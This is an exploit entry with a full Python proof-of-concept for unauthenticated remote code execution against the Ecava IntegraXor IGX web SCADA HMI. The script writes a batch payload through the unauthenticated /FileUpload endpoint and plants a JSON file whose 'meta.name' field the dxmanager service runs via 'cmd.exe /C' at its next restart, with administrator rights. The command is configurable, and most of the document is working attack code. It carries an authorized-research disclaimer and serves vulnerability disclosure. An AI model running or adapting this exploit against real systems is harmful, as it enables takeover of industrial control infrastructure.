Title: Ecava IntegraXor IGX 16.0.701.10 - RCE
Author: 0day Rubbish Research Team
Contact: disclosure@0day-rubbish.com
Type: remote
Platform: Windows
===============================================================================
Target product: Ecava IntegraXor IGX (vendor: Ecava Sdn Bhd, Malaysia), a
closed-source 100% HTML5 Web SCADA HMI for ICS/CII manufacturing OT. The DX
Web HMI server (dxweb.exe, ASP.NET Core 8.0 Kestrel, default port 8081) has
NO authentication on any endpoint. Its /FileUpload endpoint takes an
attacker-controlled "copyTo" destination directory and file name with no
sanitization, yielding unauthenticated arbitrary file write.
Vulnerability summary:
The DX Manager orchestrator (dxmanager.exe) at startup enumerates every
*.json file in its configuration directory (GetTask() else-branch, taken
when dxmanager.csv is absent) and, for each entry whose meta.name is not
"dxmanager", builds the command line "cmd.exe /C <meta.name>" and runs it
via Process.Start (CreateProcess(), Manager.cs). meta.name flows
unsanitized from the JSON file into the command line, so two
unauthenticated file writes achieve arbitrary command execution with the
dxmanager process identity - administrator (BUILTIN\\Administrators) in
the verified deployment.
Exploit chain:
1. POST /FileUpload copyTo=C:\\Windows\\Temp\\ file=igx_payload.bat
2. POST /FileUpload copyTo=<dxmanager config dir> file=igx_poc.json
content: {"meta": {"name": "C:\\Windows\\Temp\\igx_payload.bat"}}
3. Wait for dxmanager startup/restart -> GetTask() enumerates *.json ->
cmd.exe /C C:\\Windows\\Temp\\igx_payload.bat -> RCE as administrator.
Trigger: dxmanager is the orchestrator and runs continuously in real
deployments; restart events (system reboot, module update, crash auto-recovery
via the igsvc watchdog, or an unauthenticated MQTT Command.Restart) execute
the payload. This script performs only the unauthenticated HTTP planting; the
payload runs at the next dxmanager start. The optional --verify-marker mode
attempts to read back the marker file afterwards.
Usage:
python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py <target>
python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py <target> --cmd "whoami"
python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py <target> --json-dir "C:\\Users\\Administrator\\"
python3 ecava_integraxor_unauth_fileupload_dxmanager_rce.py <target> --verify-marker
<target> is the dxweb base URL or host[:port], e.g. http://127.0.0.1:8081
Defaults:
target = http://127.0.0.1:8081
cmd = whoami/hostname/echo marker writer (see DEFAULT_CMD)
json-dir = C:\\Users\\Administrator\\ (dxmanager.json directory, GetTask scope)
bat drop = C:\\Windows\\Temp\\igx_payload.bat
marker = C:\\Windows\\Temp\\igx_rce_marker.txt
Standard library only: urllib / ssl / json / time / sys / argparse - no
third-party dependencies.
For authorized security research and coordinated disclosure only. Do not use
against systems you are not explicitly authorized to test.
"""
import sys
import json
import time
import ssl
import argparse
import urllib.request
import urllib.parse
import urllib.error
from urllib.request import Request, urlopen
DEFAULT_TARGET = 'http://127.0.0.1:8081'
DEFAULT_CMD = ('whoami > C:\\Windows\\Temp\\igx_rce_marker.txt '
'& hostname >> C:\\Windows\\Temp\\igx_rce_marker.txt '
'& echo IGX-RCE-VIA-DXMANAGER-CMD-SINK >> C:\\Windows\\Temp\\igx_rce_marker.txt')
DEFAULT_BAT_PATH = 'C:\\Windows\\Temp\\igx_payload.bat'
DEFAULT_JSON_DIR = 'C:\\Users\\Administrator\\'
BAT_NAME = 'igx_payload.bat'
JSON_NAME = 'igx_poc.json'
MARKER_PATH = 'C:\\Windows\\Temp\\igx_rce_marker.txt'
TIMEOUT = 15
def log(m):
print('[*] ' + m)
def ok(m):
print('[+] ' + m)
def err(m):
print('[!] ' + m)
def build_multipart(fields, files):
"""Build a multipart/form-data body using only the standard library.
fields: dict[str, str]; files: dict[str, (filename, content_bytes)].
Returns (content_type_header, body_bytes)."""
boundary = '----igx_boundary_' + str(int(time.time() * 1000))
crlf = b'\r\n'
body = b''
for k, v in fields.items():
body += (f'--{boundary}{crlf.decode()}'
f'Content-Disposition: form-data; name="{k}"{crlf.decode()}{crlf.decode()}'
f'{v}{crlf.decode()}').encode()
for fieldname, (filename, content) in files.items():
body += (f'--{boundary}{crlf.decode()}'
f'Content-Disposition: form-data; name="{fieldname}"; filename="{filename}"{crlf.decode()}'
f'Content-Type: application/octet-stream{crlf.decode()}{crlf.decode()}').encode()
body += content + crlf
body += f'--{boundary}--{crlf.decode()}'.encode()
return 'multipart/form-data; boundary=' + boundary, body
def http_post_multipart(url, fields, files):
"""Unauthenticated multipart POST. Returns (status_code, body_bytes)."""
ctype, body = build_multipart(fields, files)
req = Request(url, data=body, method='POST')
req.add_header('Content-Type', ctype)
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urlopen(req, timeout=TIMEOUT, context=ctx)
return resp.getcode(), resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
except Exception as e:
return -1, str(e).encode()
def http_get(url):
"""Plain GET. Returns (status_code, body_bytes)."""
req = Request(url, method='GET')
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
resp = urlopen(req, timeout=TIMEOUT, context=ctx)
return resp.getcode(), resp.read()
except urllib.error.HTTPError as e:
return e.code, e.read()
except Exception as e:
return -1, str(e).encode()
def plant_bat(base, cmd):
"""Step 1: unauthenticated /FileUpload write of the bat payload to
C:\\Windows\\Temp\\igx_payload.bat."""
bat_content = f'@echo off\r\n{cmd}\r\n'
fields = {'copyTo': 'C:\\Windows\\Temp\\'}
files = {'file': (BAT_NAME, bat_content.encode('utf-8', errors='replace'))}
url = base.rstrip('/') + '/FileUpload'
log(f'POST {url} (plant bat -> C:\\Windows\\Temp\\{BAT_NAME})')
code, body = http_post_multipart(url, fields, files)
if code == 200:
ok(f'bat planted (HTTP {code})')
return True
err(f'bat plant failed: HTTP {code} {body[:200]}')
return False
def plant_json(base, json_dir, bat_path):
"""Step 2: unauthenticated /FileUpload write of igx_poc.json into the
dxmanager configuration directory. meta.name is the absolute path of the
bat payload; dxmanager GetTask enumerates it and runs cmd.exe /C <meta.name>."""
payload = {'meta': {'name': bat_path}}
content = json.dumps(payload).encode()
fields = {'copyTo': json_dir}
files = {'file': (JSON_NAME, content)}
url = base.rstrip('/') + '/FileUpload'
log(f'POST {url} (plant json -> {json_dir}{JSON_NAME}, meta.name={bat_path})')
code, body = http_post_multipart(url, fields, files)
if code == 200:
ok(f'json planted (HTTP {code})')
return True
err(f'json plant failed: HTTP {code} {body[:200]}')
return False
def verify_marker(base):
"""Optional oracle: attempt to read back the marker file through the dxweb
/FileDownload endpoint. dxmanager must have been restarted (manually or
naturally) first so the payload has executed."""
url = base.rstrip('/') + '/FileDownload?' + urllib.parse.urlencode({'file': MARKER_PATH})
log(f'GET {url} (read marker)')
code, body = http_get(url)
if code == 200 and body:
ok('RCE CONFIRMED - marker content:')
print('------ marker ------')
print(body.decode('utf-8', errors='replace'))
print('------ end ------')
return True
err(f'marker not yet present (HTTP {code}). Restart dxmanager to trigger the payload.')
return False
def main():
parser = argparse.ArgumentParser(
description='Ecava IntegraXor IGX unauthenticated /FileUpload -> dxmanager '
'cmd.exe /C <meta.name> RCE PoC (planting stage).')
parser.add_argument('target', nargs='?', default=DEFAULT_TARGET,
help='dxweb base URL or host[:port] (default: %(default)s)')
parser.add_argument('--cmd', default=DEFAULT_CMD,
help='command line executed by the planted bat '
'(default: whoami/hostname/echo marker writer)')
parser.add_argument('--json-dir', default=DEFAULT_JSON_DIR,
help='dxmanager configuration directory enumerated by GetTask '
'(default: %(default)s)')
parser.add_argument('--verify-marker', action='store_true',
help='skip planting; only attempt to read back the marker file')
args = parser.parse_args()
target = args.target
if not target.startswith('http'):
target = 'http://' + target
json_dir = args.json_dir
if not json_dir.endswith('\\'):
json_dir += '\\'
print('=' * 70)
print('Ecava IntegraXor unauthenticated RCE (dxweb /FileUpload -> dxmanager cmd.exe /C)')
print(f' target : {target}')
print(f' json dir : {json_dir} (dxmanager GetTask enumeration scope)')
print(f' bat path : {DEFAULT_BAT_PATH}')
print(f' cmd : {args.cmd}')
print('=' * 70)
if args.verify_marker:
verify_marker(target)
return
if not plant_bat(target, args.cmd):
err('exploit failed: bat plant failed')
sys.exit(2)
if not plant_json(target, json_dir, DEFAULT_BAT_PATH):
err('exploit failed: json plant failed')
sys.exit(3)
ok('Unauthenticated HTTP planting complete.')
print()
log('The payload executes at the next dxmanager start/restart (cmd.exe /C <meta.name>).')
log('Trigger events: system reboot / dxmanager update / crash auto-recovery / MQTT Command.Restart')
log('In real deployments dxmanager runs continuously as the orchestrator; restart events occur.')
print()
log('To verify immediately, restart dxmanager manually, then run:')
log(f' python3 {sys.argv[0]} {args.target} --verify-marker')
if __name__ == '__main__':
main()